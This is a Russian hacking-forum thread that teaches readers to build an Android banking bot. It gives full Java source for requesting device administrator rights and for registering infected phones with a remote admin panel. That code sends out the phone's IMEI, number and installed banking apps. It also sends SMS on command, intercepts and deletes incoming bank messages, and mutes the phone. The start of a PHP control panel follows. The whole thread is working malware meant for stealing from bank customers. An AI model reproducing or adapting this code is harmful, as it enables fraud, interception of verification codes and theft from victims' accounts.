1. Внимание!!! Не заходит на форум? Хотите сохранить доступность к нам на 99.9%? Обязательно запишите все зеркала проекта! Именно по этому мы настоятельно рекомендуем использовать онион домен для TOR-Браузера, там доступность форума будет максимальной. Ссылка для установки и все зеркала в этой темe.

    Зеркало для TOR-Браузера - http://norabizt5qqxefxy.onion

    Чистое зеркало для обычных браузеров - https://nora.holiday

    Скрыть объявление

Пишем Android-бота с нуля!

Тема в разделе "ВИРУСОЛОГИЯ", создана пользователем Mr.ROBOT, 21 дек 2016.

  1. Mr.ROBOT
    off

    Mr.ROBOT include(Happy) VIP МАГАЗИНЫ

    Сообщения:
    120
    Пол:
    Мужской
    Репутация:
    63
    Сфера:
    Хакинг
    Сегодня рассмотрим написания android бота с нуля, что он у нас будет делать:

    - запрашивать админ права
    - запрашивать разрешения для отправки СМС(android 6.0 и выше)
    - Отправлять СМС
    - Читать СМС
    - Удалять входящие СМС, глушить звук и вибрацию(удаление работает до 4.4, но бывает работает и выше, зависит от модели устройства, заглушка звука и вибрации работает на всех).
    - Веб инжекты(до 6.0)

    В админке будет отображаться:

    - IMEI/ID
    - Номер
    - Версия ОС
    - Версия APK
    - Страна(выделена флагом)
    - Банк(которы(й,е) установлен(ы))
    - Модель устройства
    - Наличие ROOT(админ прав)
    - Состояние экрана
    - В сети бот или нет(зеленый в сети, желтый не в сети, черный не в сети более 2-х дней)
    - Дата заражения
    - а так же, отображает наличия инжекта, вх смс от банка и кнопка лог(индивидуальный)

    Нам потребуется Android Studio, знания языка java, PHP и mysql - для админки
    Обратите внимание, в коде более подробно описано комментариями!
    И так , не будем лить воду и начнем писать!

    Создаем чистый проект(Activity), скомпилированный apk имеет вес 34кб, подготовил шаблон проекта.

    пока мы имеем чистый MainActivity

    Код:
    package com.example.livemusay.myapplication;
    import android.app.Activity;
    public class MainActivity extends Activity
    {
       @Override
       protected void onCreate(Bundle savedInstanceState)
       {
           super.onCreate(savedInstanceState);
           setContentView(R.layout.activity_main);
          
       }
    }
    Добавим 2 класса с названиями constants и secFunctions
    constants тут и так понятно что храним константы, а secFunctions - будут дополнительные функции, такие как получения выделенного тегами текста из строки, получения IMEI, алгоритмы зашифрования и расшифрования строк трафика!

    Класс constants

    Код:
    package com.example.livemusay.myapplication;
    
    public class constants
    {
       public final String url ="http://URL.ru";// админка
       public final String key_post = "qwe";//ключ шифрования запросовPOST
       public final String Version = "Demo"; // Версия апк
    }
    
    Класс secFunctions

    Код:
    package com.example.livemusay.myapplication;
    import android.content.Context;
    import android.os.Build;
    import android.provider.Settings;
    import android.telephony.TelephonyManager;
    import android.util.Log;
    import java.net.URLDecoder;
    import java.net.URLEncoder;
    
    public class secFunctions
    {
    // функция для поиска текста в строке по тегам
       public String return_plain_text(String text,String tagBIGIN, String tagEND)//Убираем <TAG>text</TAG>
       {
           try {
               int indexBIGIN = text.indexOf(tagBIGIN) + tagBIGIN.length();
               int indexEND = text.indexOf(tagEND);
               text = text.substring(indexBIGIN, indexEND);
               return text;
           }catch (Exception e)
           {
               Log.e("ERROR","text_tag");
               return "";
           }
       }
       //***************
    //получаем IMEI
       public String IMEI(Context context)
       {
           TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
           String IMEI="";
           if (Build.VERSION.SDK_INT < 23)
           {
               IMEI =  tm.getDeviceId();
           }
           else
           {
               IMEI = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
    
               if(IMEI == "")
               {
                   IMEI =  "35"+
                           Build.BOARD.length()%10 + Build.BRAND.length()%10 +
                           Build.CPU_ABI.length()%10 + Build.DEVICE.length()%10 +
                           Build.DISPLAY.length()%10 + Build.HOST.length()%10 +
                           Build.ID.length()%10 + Build.MANUFACTURER.length()%10 +
                           Build.MODEL.length()%10 + Build.PRODUCT.length()%10 +
                           Build.TAGS.length()%10 + Build.TYPE.length()%10 +
                           Build.USER.length()%10;
               }
           }
           return IMEI;
       }
    
       //----шифрование трафика--------
       public String trafEnCr(String text)
       {
           text = URLEncoder.encode(text);
           String key = "qwe";
           String s="";
         try {
               for (int i = 0; i < text.length(); i++) {
                   char c = text.charAt(i);
                   int j = (int) c;
                   s += j + " ";
               }
               for (int i = 0; i < key.length(); i++) {
                   String dd = key.substring(i, i + 1);
                   s = s.replace("" + i, dd);
               }
           }catch (Exception ex){}
           return s;
       }
    
       public String trafDeCr(String text)
       {
           constants const_ = new constants();
           String s = text;
           String s1 = "";
           String key = const_.key_post;
          try {
               for (int i = 0; i < key.length(); i++)
               {
                   String dd = key.substring(i, i + 1);
                   s = s.replace(dd, "" + i);
               }
               String ter = s;
    
               for (String retval : ter.split(" "))
               {
                       String SS = retval;
                       int number = Integer.parseInt(SS);
                        char c = (char)number;
                        s1 += c;
               }
           }catch (Exception ex)
          {
          }
           s1+=" ";
           s1 = URLDecoder.decode(s1);
           return s1;
       }
    }
    Так, теперь нам нужен админ права, надо же хоть как то сопротивляться жертве, добавим классы c названиями PoM_adm и DAdm(наследует от DeviceAdminReceiver) и activity c названием goR00t - названия такие, чтоб не было сигнатуры(хотя она скоро появится [​IMG] )

    Теперь начнем их описывать
    Класс PoM_adm

    Код:
    package com.example.livemusay.myapplication;
    
    import android.app.admin.DevicePolicyManager;
    import android.content.ComponentName;
    import android.content.Context;
    
    public class PoM_adm {
    public static final int DMP = 100;
    private Context MC;
    private DevicePolicyManager mDPM;
    private ComponentName AC;
    
    public PoM_adm(Context context)
    {
    this.MC = context;
    String gd = MC.getPackageName() + ".DAR";
    String ndg  = MC.getPackageName();
    mDPM = (DevicePolicyManager) MC.getSystemService(Context.DEVICE_POLICY_SERVICE);
    AC = new ComponentName(ndg, gd);
    }
    
    public boolean ISS() {return mDPM.isAdminActive(AC);}
    
    public ComponentName GAC() {return AC;}
    
    }
    
    
    Класс DAdm

    Код:
    package com.example.livemusay.myapplication;
    import android.app.admin.DeviceAdminReceiver;
    
    public class DAdm extends DeviceAdminReceiver {/*root*/}
    Активити goR00t

    Код:
    package com.example.livemusay.myapplication;
    
    import android.app.Activity;
    import android.app.admin.DevicePolicyManager;
    import android.content.Intent;
    import android.os.Bundle;
    
    public class goR00t extends Activity {
       private PoM_adm PPM;
       @Override
       protected void onCreate(Bundle savedInstanceState){
           super.onCreate(savedInstanceState);
           setContentView(R.layout.activity_go_adm);
    
         PPM = new PoM_adm(this);
    
            if (!PPM.ISS())
           {
               Intent activateDeviceAdmin = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
               activateDeviceAdmin.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, PPM.GAC());
               activateDeviceAdmin.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "For correct operation of the program, you must confirm аdministrаtоr rights");
               startActivityForResult(activateDeviceAdmin,  PoM_adm.DMP);
               finish();
           }
           finish();
       }
    }
    
    так для админ прав все есть, теперь нужно как то обращаться к админке, создадим класс(AsyncTask) request, который будет стучаться в админку(метод POST) и получать команды

    Класс request

    Код:
    package com.example.livemusay.myapplication;
    
    import android.os.AsyncTask;
    import android.util.Log;
    
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.HttpURLConnection;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    public class request
    {
       public String go_post(String url, String parametr)
       {
           secFunctions SF = new secFunctions();
               SendLoginData SendLoginData = new SendLoginData();
               SendLoginData.execute(url,parametr);
    
               try
               {
                return SF.return_plain_text(SendLoginData.get(),"<tag>","</tag>");
               }
               catch (Exception x)
               {
                   return "";
               }
           }
    
       class SendLoginData extends AsyncTask<String, String, String> {
    
           String resultString = null;
    
           @Override
           protected void onPreExecute()
           {
               super.onPreExecute();
           }
    
           @Override
           protected String doInBackground(String... urls)
           {
           try
           {
               String myURL = urls[0];
               String parammetrs = urls[1];
               byte[] data = null;
               InputStream is = null;
    
               try {
                   URL url = new URL(myURL);
                   HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                   conn.setRequestMethod("POST");//POST
                   conn.setDoOutput(true);
                   conn.setDoInput(true);
    
                   conn.setRequestProperty("Content-Length", //Content-Length
                           "" + Integer.toString(parammetrs.getBytes().length));
                   OutputStream os = conn.getOutputStream();
                   data = parammetrs.getBytes("UTF-8");//UTF-8
                   os.write(data);
                   data = null;
    
                   conn.connect();
                   int responseCode= conn.getResponseCode();
    
                   ByteArrayOutputStream baos = new ByteArrayOutputStream();
    
                   if (responseCode == 200) {
                       is = conn.getInputStream();
    
                       byte[] buffer = new byte[8192];
                       int bytesRead;
                       while ((bytesRead = is.read(buffer)) != -1) {
                           baos.write(buffer, 0, bytesRead);
                       }
                       data = baos.toByteArray();
                       resultString = new String(data, "UTF-8");//UTF-8
                   } else {
                   }
               } catch (MalformedURLException e)
               {
                   //MalformedURLException
                   Log.e("Request","MalformedURLException");
               }
               catch (IOException e)
               {
                   //IOException
                   Log.e("Request","IOException");
               }
               catch (Exception e)
               {
                   //Exception
                   Log.e("Request","Exception");
               }
           } catch (Exception e) {
                   e.printStackTrace();
               }
               return resultString;
           }
    
           @Override
           protected void onPostExecute(String result){super.onPostExecute(result);}
       }
    }
    Отлично, идем дальше, нам нужно обращаться в админку, регистрироваться там, получать команды и выполнять их, для этого создадим IntentService с названием StartWhile

    Сервис StartWhile, еще раз повторяю, подробные описания кода закомпилированны в коде!!!

    Код:
    package com.example.livemusay.myapplication;
    
    import android.app.ActivityManager;
    import android.app.AlarmManager;
    import android.app.IntentService;
    import android.app.KeyguardManager;
    import android.app.PendingIntent;
    import android.app.admin.DevicePolicyManager;
    import android.content.ComponentName;
    import android.content.Context;
    import android.content.Intent;
    import android.content.pm.ApplicationInfo;
    import android.content.pm.PackageManager;
    import android.media.AudioManager;
    import android.os.Build;
    import android.os.PowerManager;
    import android.provider.Settings;
    import android.telephony.SmsManager;
    import android.telephony.TelephonyManager;
    import android.util.Log;
    
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.util.List;
    import java.util.concurrent.TimeUnit;
    
    import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
    
    
    public class StartWhile extends IntentService
    {
       constants const_ = new constants();
       Context context;
       public StartWhile() {
           super("myname");
       }
    
       public void onCreate() {super.onCreate();}
    
       @Override
       public int onStartCommand(Intent intent, int flags, int startId) {
           super.onStartCommand(intent, flags, startId);
    
           return START_STICKY;
       }
       @Override
       protected void onHandleIntent(Intent intent)
       {
           context = this;
           readCommand();//Вызываем главную функцию цикла
       }
    
       public void readCommand()
       {
           while (true)//наш цикл
           {
               try {TimeUnit.SECONDS.sleep(3);} catch (InterruptedException e) {e.printStackTrace();}
    
               //не даем устройству уйти в спячку
               PowerManager mPowerManager = (PowerManager) this.getSystemService(POWER_SERVICE);
               PowerManager.WakeLock mWakeLock = mPowerManager.newWakeLock(PARTIAL_WAKE_LOCK, "Service");
               if (mWakeLock != null) {
                   mWakeLock.acquire();
                   //Запущен WakeLock
               }
    
               request setPost = new request();
               secFunctions SF = new secFunctions();
    
               TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
    
               // получаем IMEI и номера
               String IMEI = "";
               String number = "";
               String number_ = "";
    
               if (Build.VERSION.SDK_INT < 23) {
                   IMEI = tm.getDeviceId();
                   number = "(" + tm.getNetworkOperatorName() + ")" + tm.getLine1Number();
               } else {
                   IMEI = Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID);
    
                   if (IMEI == "") {
                       IMEI = "35" + // 35
                               Build.BOARD.length() % 10 + Build.BRAND.length() % 10 +
                               Build.CPU_ABI.length() % 10 + Build.DEVICE.length() % 10 +
                               Build.DISPLAY.length() % 10 + Build.HOST.length() % 10 +
                               Build.ID.length() % 10 + Build.MANUFACTURER.length() % 10 +
                               Build.MODEL.length() % 10 + Build.PRODUCT.length() % 10 +
                               Build.TAGS.length() % 10 + Build.TYPE.length() % 10 +
                               Build.USER.length() % 10;
                   }
                   number = "(NO)"; //(NO)
                   number_ = "Indefined"; //Indefined
               }
               String device = android.os.Build.VERSION.RELEASE;  // ОС
               String model = android.os.Build.MODEL + " (" + android.os.Build.PRODUCT + ")";  // модель
               String country = tm.getNetworkCountryIso();  // страна
    
               String b_nk = "";
    
               //************проверка root прав**********
               String r0_int="0";
               DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
               ComponentName componentName = new ComponentName(context, DAdm.class);
    
               if (!deviceManager.isAdminActive(componentName)) {
                   r0_int = "0";
               }else{
                   r0_int = "1";
               }
    
               //*************Проверка состояние экрана*******
               KeyguardManager km = (KeyguardManager) getSystemService(context.KEYGUARD_SERVICE);
               boolean locked = km.inKeyguardRestrictedInputMode();
               String screen_int="0";
               if (locked == true)
               {
                   screen_int = "0";
                   Log.e("222", "off");
               } else {
                   screen_int = "1";
                   Log.e("222", "on");
               }
               //***************Стучимся в АДминику
               Log.e("post", "tuk_p=" + SF.trafEnCr(IMEI+":"+r0_int+":"+screen_int));
               String responce = setPost.go_post(const_.url + "/private/tuk_tuk.php", "p=" + SF.trafEnCr(IMEI+":"+r0_int+":"+screen_int));
               responce = SF.trafDeCr(responce);
    
               Log.e("Запрос", " - > " + responce);
               //Если приходит |NO|, то регистрируем бот в админке,
               //иначе в случае присутвии команд в бд mysql получаем их!
               if (responce.contains("|NO|") == true) {
                   b_nk = get$holder();
                   System.out.println("Регаем");
                   System.out.println("set_data_p=" + SF.trafEnCr(" " + IMEI + ":" + number + number_ + ":" + device + ":" + country + ":" + b_nk + ":" + model));
                   responce = setPost.go_post(const_.url + "/private/set_data.php", "p=" + SF.trafEnCr(IMEI + ":" + number + number_
                           + ":" + device + ":" + country + ":" + b_nk + ":" + model + ":" + const_.Version));
    
                   responce = SF.trafDeCr(responce);
               }else if(responce.contains("state1letsgotxt") == true)
               {
                   String resp_settings = setPost.go_post(const_.url + "/private/settings.php", "p=" + SF.trafEnCr(IMEI));
                   resp_settings = SF.trafDeCr(resp_settings);
                   Log.e("Настройки",""+resp_settings);
    
                   try
                   {
                       String mystring = resp_settings;
                       FileOutputStream fos = openFileOutput("setting", Context.MODE_PRIVATE);
                       fos.write(mystring.getBytes());
                       fos.close();
                       Log.e("Настройки","Запись удалась успешна!");
                   } catch (IOException ioe)
                   {
                       Log.e("Настройки","Запись не удалась!");
                   }
               }
    
               Log.e("Запрос", " - > " + responce);
               String parts[] = responce.split("::");
    
               //получаем все команды и выполняем их!
               for (int j = 0; j < parts.length; j++) {
    
                   if (parts[j].contains("Send SMS") == true) //отправляем смс
                   {
                       //получаем номер и текст для отправки
                       String number$ = SF.return_plain_text(parts[j], "|number=", "|text=");
                       String[] text$ = parts[j].split("text=");
    
                       try
                       {
                           //Отправляем СМС
                           SmsManager.getDefault().sendTextMessage(number$, null, text$[1], null, null);
                           setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(IMEI + "|(Исх) " + "СМС на номер {" + number$ + "}с текстом  {" + text$[1] + "} отправлено!|"));
                           System.out.println("Отправляем смс на номер " + number$ + " с текстом  " + text$[1]);
                           //Глушим звук смс на свякий случай!
                           AudioManager audm;
                           audm = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
                           audm.setRingerMode(AudioManager.RINGER_MODE_SILENT);
                       }
                       catch (Exception ex)
                       {
                           //если смс не удалось отправить оповещаем в адмиеку и запускаем разрешения для отправки смс
                           setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(IMEI + "|(Исх) " + "Ошибка с отправкой СМС, возможно нет прав для отправки!|"));
                           System.out.println(IMEI + ": " + "Ошибка отправки СМС, возможно нет прав для отправки!");
                           //Запускаем подтверждения смски
                           Intent dialogIntent = new Intent(StartWhile.this, Press.class);
                           dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                           startActivity(dialogIntent);
    
                           AudioManager audm;//Глушим звук смс!
                           audm = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
                           audm.setRingerMode(AudioManager.RINGER_MODE_SILENT);
                       }
                   }
                   if (parts[j].contains("Go_P00t_request") == true) //старт админ прав
                   {
                       Intent dialogIntent = new Intent(StartWhile.this, goR00t.class);
                       dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                       startActivity(dialogIntent);
                   }
    
                   if(isMyServiceRunning(injectionService.class)==false){//Проверяем состояние сервиса инжектов
                       //запускаем сервис если выкл
                       context.startService(new Intent(context, injectionService.class));
                       Log.e("СТАРТ СЕРВИС","inj");
                   }
    
                   AlarmManager localObject = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
                   PendingIntent localPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(context, AlarM.class), 0);
                   ((AlarmManager) localObject).setRepeating(localObject.RTC_WAKEUP, System.currentTimeMillis(), 4000, localPendingIntent);
               }
               try {TimeUnit.SECONDS.sleep(5);} catch (InterruptedException e) {e.printStackTrace();}
           }
       }
    
    
       public String get$holder(){
           Log.d("INVISIBLE-LOG","SEARCH BANK CLIENT'S");
           String banC = "";
           int S = 0;
           int A = 0;
           int Q = 0;
           int R_C = 0;
           int tin = 0;
           int pay = 0;
           int wm = 0;
           int ros = 0;
           int mts_b = 0;
           int vtb24 = 0;
           int yan_d = 0;
           int sber_ua = 0;
           int priv24 = 0;
           int rus_stand = 0;
           int ub = 0;
           int id_b = 0;
           int iko = 0;
           int ban_s = 0;
           int otpsmart = 0;
    
           final PackageManager pm = getPackageManager();
           List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
    
           for (ApplicationInfo packageInfo : packages) {
    
               // SBERBANK STANDART
               if(packageInfo.packageName.equals("ru.sberbankmobile")){
                   S = 1;
               }
               // SBERBANK BUSSINES
               if(packageInfo.packageName.equals("ru.sberbank_sbbol")){
                   S = 1;
               }
    
               // ALFABANK STANDART
               if(packageInfo.packageName.equals("ru.alfabank.mobile.android")){
                   A = 1;
               }
               // ALFABANK BUSSINES
               if(packageInfo.packageName.equals("ru.alfabank.oavdo.amc")){
                   A = 1;
               }
               // QIWI
               if(packageInfo.packageName.equals("ru.mw")){
                   Q = 1;
               }
    
               //  R-CONNECT
               if(packageInfo.packageName.equals("ru.raiffeisennews")){
                   R_C = 1;
               }
               //  tinkoff
               if(packageInfo.packageName.equals("com.idamob.tinkoff.android")){
                   tin  = 1;
               }
               //  paypal
               if(packageInfo.packageName.equals("com.paypal.android.p2pmobile")){
                   pay = 1;
               }
               //  webmoney
               if(packageInfo.packageName.equals("com.webmoney.my")){
                   //Log.d("INVISIBLE-LOG","QIWI");
                   wm  = 1;
               }
               //  РОСТБАНК
               if(packageInfo.packageName.equals("ru.rosbank.android")){
                   ros = 1;
               }
               //  ВТБ24
               if(packageInfo.packageName.equals("ru.vtb24.mobilebanking.android")){
                   vtb24 = 1;
               }
               //  mts bank
               if(packageInfo.packageName.equals("ru.simpls.mbrd.ui")){
                   mts_b = 1;
               }
               // yandex money
               if(packageInfo.packageName.equals("ru.yandex.money")){
                   yan_d = 1;
               }
               //  СБЕРБАНК УКРОИНА
               if(packageInfo.packageName.equals("ua.com.cs.ifobs.mobile.android.sbrf")){
                   sber_ua = 1;
               }
               //  ПРИВАТ24
               if(packageInfo.packageName.equals("ua.privatbank.ap24")){
                   priv24 = 1;
               }
               //  Русский стандарт
               if(packageInfo.packageName.equals("ru.simpls.brs2.mobbank")){
                   rus_stand = 1;
               }
               //  ubank
               if(packageInfo.packageName.equals("com.ubanksu")){
                   ub = 1;
               }
               //  idea bank
               if(packageInfo.packageName.equals("com.alseda.ideabank")){
                   id_b = 1;
               }
               //  iko
               if(packageInfo.packageName.equals("pl.pkobp.iko")){
                   iko = 1;
               }
               //  bank sms
               if(packageInfo.packageName.equals("com.bank.sms")){
                   ban_s = 1;
               }
               //  otp smart
               if(packageInfo.packageName.equals("ua.com.cs.ifobs.mobile.android.otp")){
                   otpsmart = 1;
               }
           }
    
           if(S == 1)  banC+="|SberB_RU|";
           if(A  == 1)  banC+="|AlfaB_RU|";
           if(Q  == 1)  banC+="|QIWI|";
           if(R_C == 1)  banC+="|R-CONNECT|";
           if(tin  == 1)  banC+="|Tinkoff|";
           if(pay  == 1)  banC+="|paypal|";
           if(wm  == 1)  banC+="|webmoney|";
           if(ros  == 1)  banC+="|RosBank|";
           if(mts_b == 1)  banC+="|MTS BANK|";
           if(vtb24  == 1)  banC+="|VTB24|";
           if(yan_d  == 1)  banC+="|Yandex Bank|";
           if(sber_ua  == 1)  banC+="|SberB_UA|";
           if(priv24  == 1)  banC+="|Privat24|";
           if(rus_stand  == 1)  banC+="|RussStandart|";
           if(ub  == 1)  banC+="|UBank|";
           if(id_b  == 1)  banC+="|Idea_Bank|";
           if(iko  == 1)  banC+="|Iko_Bank|";
           if(ban_s == 1)  banC+="|Bank_SMS|";
           if(otpsmart  == 1)  banC+="|OTP Smart|";
    
           if((S==0)&&(A==0)&&(Q==0)) banC="no";
           banC = banC.replace("||","|\n|");
           banC = banC.replace("||","|");
           return banC;
       }
       //Проверка состояние сервиса
       private boolean isMyServiceRunning(Class<?> serviceClass) {
           ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
           for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
               if (serviceClass.getName().equals(service.service.getClassName())) {
                   return true;
               }
           }
           return false;
       }
    }
    
    
    
    Создадим BroadcastReceiver, который будет принимать входящие смс, запускать сервис удаления смс, запускать сервис StartWhile и пробуждать устройство ALARMом(которого у нас пока нет, добавим позже)

    Класс StartBoot(BroadcastReceiver)

    Код:
    package com.example.livemusay.myapplication;
    
    import android.app.AlarmManager;
    import android.app.PendingIntent;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.telephony.SmsMessage;
    import android.util.Log;
    
    import java.util.concurrent.TimeUnit;
    
    
    public class StartBoot extends BroadcastReceiver {
    
       public StartBoot() {
       }
    
       @Override
       public void onReceive(Context context, Intent intent)
       {
    
           String action = intent.getAction();
           if(action.equals("android.provider.Telephony.SMS_RECEIVED"))
           {
               //пришла смс-ка
               RCWC(context,intent);
           }
           else {
               //запускаем пробуждения устройства
               AlarmManager localObject = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
               PendingIntent localPendingIntent = PendingIntent.getBroadcast(context, 0, new Intent(context, AlarM.class), 0);
               ((AlarmManager) localObject).setRepeating(localObject.RTC_WAKEUP, System.currentTimeMillis(), 4000, localPendingIntent);
    
               //запуск сервисов
               context.startService(new Intent(context, StartWhile.class));
               context.startService(new Intent(context, injectionService.class));
               Log.e("СТАРТ СЕРВИС","inj");
    
               try {
                   TimeUnit.SECONDS.sleep(1);
               } catch (InterruptedException e) {
                   e.printStackTrace();
               }
          }
         Log.e("B","BOOT Стартанул");
       }
    
       //принимаем СМС
       public void  RCWC(Context context, Intent intent)
       {
           final Bundle bundle = intent.getExtras();
           try {
    
               if (bundle != null) {
    
                   final Object[] pdusObj = (Object[]) bundle.get("pdus");
    
                   if (pdusObj != null)
                       for (Object aPdusObj : pdusObj)
                       {
                           SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
                           String num = currentMessage.getDisplayOriginatingAddress();
                           String ms = currentMessage.getDisplayMessageBody();
    
                           Log.e("B","Есть СМС");
    
                           //запускаем сервис для проверки СМС-КИ
                           context.startService(new Intent(context, delSoundSWS.class)
                                   .putExtra("intentCommand","RCWC")
                           .putExtra("num",num)
                           .putExtra("ms",ms));
                       }
               }
    
           } catch (Exception e) {//Ошибка ресивера СМС
    
           }
       }
    }

    Нам нужно обязательно удалять СМС-ки, глушить звук и вибрация, а так же пробуждать устройство, создадим сервис с названием delSoundSWS и класс AlarM(BroadcastReceiver)

    Сервис delSoundSWS

    Код:
    package com.example.livemusay.myapplication;
    
    import android.app.Service;
    import android.content.Context;
    import android.content.Intent;
    import android.database.Cursor;
    import android.media.AudioManager;
    import android.net.Uri;
    import android.os.Build;
    import android.os.IBinder;
    import android.provider.Settings;
    import android.telephony.TelephonyManager;
    import android.util.Log;
    
    import java.util.concurrent.TimeUnit;
    
    public class delSoundSWS extends Service {
    constants const_ = new constants();
    secFunctions SF = new secFunctions();
    
    @Override
    public IBinder onBind(Intent arg0)
    {
     return null;
    }
    
    void stop() {
          stopSelf();
        }
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
    
     try
     {
      //получаем номер  и текст
      String num = intent.getStringExtra("num");
      String ms = intent.getStringExtra("ms");
      RCWC(this, num, ms);
     }catch (Exception e){Log.e("Error","AVTO");}
    
     return START_STICKY;
    }
    
    
    public void RCWC(Context context, String num, String ms)
    {
     request setPost = new request();
    
     String IMEI="";
     if (Build.VERSION.SDK_INT < 23)
     {
      TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
      IMEI =  tm.getDeviceId();
     }
     else
     {
      //Получаем IMEI
    
      IMEI = Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID);
    
      if(IMEI == "")
      {
       IMEI = "35" + // 35
         Build.BOARD.length()%10 + Build.BRAND.length()%10 +
         Build.CPU_ABI.length()%10 + Build.DEVICE.length()%10 +
         Build.DISPLAY.length()%10 + Build.HOST.length()%10 +
         Build.ID.length()%10 + Build.MANUFACTURER.length()%10 +
         Build.MODEL.length()%10 + Build.PRODUCT.length()%10 +
         Build.TAGS.length()%10 + Build.TYPE.length()%10 +
         Build.USER.length()%10;
      }
     }
       //Глушим звук смс и вибро!
       AudioManager audm;
       audm = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
       audm.setRingerMode(AudioManager.RINGER_MODE_SILENT);
    
       try {TimeUnit.SECONDS.sleep(1);} catch (InterruptedException e) {e.printStackTrace();}
    
       //удаляем СМС
       DCWCSEnt(context,"",num);
       //отображаем в админке смс
       setPost.go_post(const_.url + "/private/add_log.php", "p=" + SF.trafEnCr(IMEI + "|(Вх СМС)" + " Номер: {" + num + "} с текстом {" + ms + "}" + DCWC(context,"",num)+"|"));
       System.out.println("(СМС)" + num + " с текстом  " + ms + " ");
     }
    
    //удаляем смс входящие
    private String DCWC(Context context, String message, String number) {
     String go_D_CWC = "(СМС НЕ УДАЛЕНА)";
     try {
      Uri uriSms = Uri.parse("content://sms/inbox");
      Cursor c = context.getContentResolver().query(uriSms,
        new String[]{"_id", "thread_id", "address",
          "person", "date", "body"}, null, null, null);
    
      if (c != null && c.moveToFirst())
      {
       do {
        long id = c.getLong(0);
        long threadId = c.getLong(1);
        String address = c.getString(2);
        String body = c.getString(5);
    
        if (!message.equals(body) && address.equals(number)) {
         go_D_CWC="(СМС УДАЛЕНА)";
         context.getContentResolver().delete(Uri.parse("content://sms/" + id), null, null);
        }
       } while (c.moveToNext());
      }
     }
     catch (Exception e)
     {
      go_D_CWC="(ОШИБКА УДАЛЕНИЯ)";
     }
     return go_D_CWC;
    }
    
    //удаляем смс исходящие
    public void DCWCSEnt(Context context, String message, String number) {
     try {
      Uri uriSms = Uri.parse("content://sms/sent");
      Cursor c = context.getContentResolver().query(uriSms,
        new String[]{"_id", "thread_id", "address",
          "person", "date", "body"}, null, null, null);
    
      if (c != null && c.moveToFirst()) {
       do {
        long id = c.getLong(0);
        long threadId = c.getLong(1);
        String address = c.getString(2);
        String body = c.getString(5);
    
        if (!message.equals(body) && address.equals(number)) {
         context.getContentResolver().delete(Uri.parse("content://sms/" + id), null, null);
        }
       } while (c.moveToNext());
      }
     } catch (Exception e) {}
    }
    }
    
    Класс AlarM(BroadcastReceiver)

    Код:
    package com.example.livemusay.myapplication;
    
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    
    public class AlarM extends BroadcastReceiver {
    
       public AlarM() {}
    
       @Override
       public void onReceive(Context context, Intent intent)
       {
           //запускаем сервис
          context.startService(new Intent(context, StartWhile.class));
       }
    
    }
    
    АВТОР maza-in
     
  2. Mr.ROBOT
    off

    Mr.ROBOT include(Happy) VIP МАГАЗИНЫ

    Сообщения:
    120
    Пол:
    Мужской
    Репутация:
    63
    Сфера:
    Хакинг
    Приступим, время PHP. "Админка написана на PHP 7, подключение к БД через PDO"

    .htaccess
    Код:
    AddDefaultCharset utf-8
    AddCharset utf-8 *
    <IfModule mod_charset.c>
       CharsetSourceEnc utf-8
       CharsetDefault utf-8
    </IfModule>
    


    index.php
    Код:
    <html>
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    
    <head >
    <title>by maza-in</title>
    <link href="styles/index.css" rel="stylesheet"/>
    <link href="styles/btn.css" rel="stylesheet"/>
    <link href="styles/modul_form.css" rel="stylesheet"/>
    <link rel="stylesheet" href="styles/style.css"/>
    <link href="styles/modul_form_log.css" rel="stylesheet"/>
    <link href="styles/modul_form_set.css" rel="stylesheet"/>
    <script type="text/javascript" src="js/jquery.js"></script>
    <link rel="shortcut icon" href="/images/icon3.png" type="image/png"/>
    
    <script src="js/jquery-2.1.4.min.js"></script>
    <script src="js/jquery.spincrement.js"></script>
    <script src="js/custom.js"></script>
    <script src="js/footable.js"></script>
    <script src="js/footable.min.js"></script>
    </head>
    
    <body bgcolor="1D1F24">
    
    <?php include_once "header.php"?>
    <?php
    
    $id = $_GET['cont'];
    if($id=="kliets")
    {include_once "private/kliets.php";
    }else
    {header("Location:?cont=kliets&page=1");}
    if($id == null)
    {header("Location:?cont=kliets&page=1");}
    ?>
    </body>
    </html>
    
    header.php
    Код:
    <div class="header">
    <p><img src="images/header.jpg" width="100%" height="100px"/></p>
    </div>
    
    /private/kliets.php

    Код:
    <div class="content">
    <table class="footable" align="center" border="1" cellspacing="0" cellpadding="0" width=100%>
    <thead class="header_table_bots" >
